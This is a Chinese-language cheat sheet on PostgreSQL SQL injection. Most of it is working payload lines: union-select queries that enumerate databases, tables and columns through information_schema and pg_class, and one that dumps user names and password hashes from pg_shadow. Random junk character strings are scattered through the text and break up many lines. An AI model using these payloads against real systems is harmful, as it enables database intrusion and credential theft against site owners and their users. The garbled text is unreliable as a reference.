结合了MSSQL MySQL Oracle的一些特点
% q- z+ n u( a7 E! x& H0 \( C8 _支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/
6 [" a$ S) L8 a+ [- q6 x6 B' b连接符: %20 , + , /**/ 内置函数:2 e; D8 e! K0 j9 c+ i3 J& Z
current_database() //当前数据库名
/ y5 l1 r k+ L8 Ksession_user //会话用户
: B4 [, p& \; T! v4 Q0 Ucurrent_user //当前数据库用户9 H; q Z* ^ h, y5 ~: o1 X& v- l& Q
user //当前用户0 q+ p3 P) A. R5 a" h
version() //数据库版本 Union注射:' g- S" d7 E# j) J. j7 O$ C
order by n–, T. [, G0 v1 N/ z3 K5 r% p! w8 q
and 1=2 union select null,null,null–
# u7 y4 f8 L4 k7 ?( X, Yand 1=2 union select ‘beach’,null,null–
]* U' J" N2 M. p* j/ X9 T3 S9 Gand 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
+ N3 d2 J5 p7 {+ a7 F! dgroup_concat(table_name)1 E' J1 \, I- D8 \9 H5 W
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
( L0 g# ?4 P, T6 D3 r( qand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–% |4 S# K: L7 s1 Z5 F+ U
(老版本)
3 {+ ~5 t+ @: z0 @. Fpg_class.oid对应pg_attribute.attrelid3 A# l2 L c) H5 h4 w
pg_class.relname表名. t3 M7 {! E; h1 p3 L- k* U
pg_attribute.attname字段名 select relname from pg_class获取表名 n X, _9 }! T% I, o1 L
select oid from pg_class where 条件 获取参数
, e W, ~/ z T0 O4 E5 M: a, wselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
1 }) U# X; Z8 D& j) Hand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
& m4 S% [0 m& p. c8 ~9 |and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–4 y0 o5 w6 @6 C) r& X: e1 M# _* O1 G5 f Y
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名, c. ]# X- o) F4 c' _
======================================================================
0 \5 Q1 W: `- P. f' ^% G1 l3 W* iand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
$ }! W0 U D* w( J7 sand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |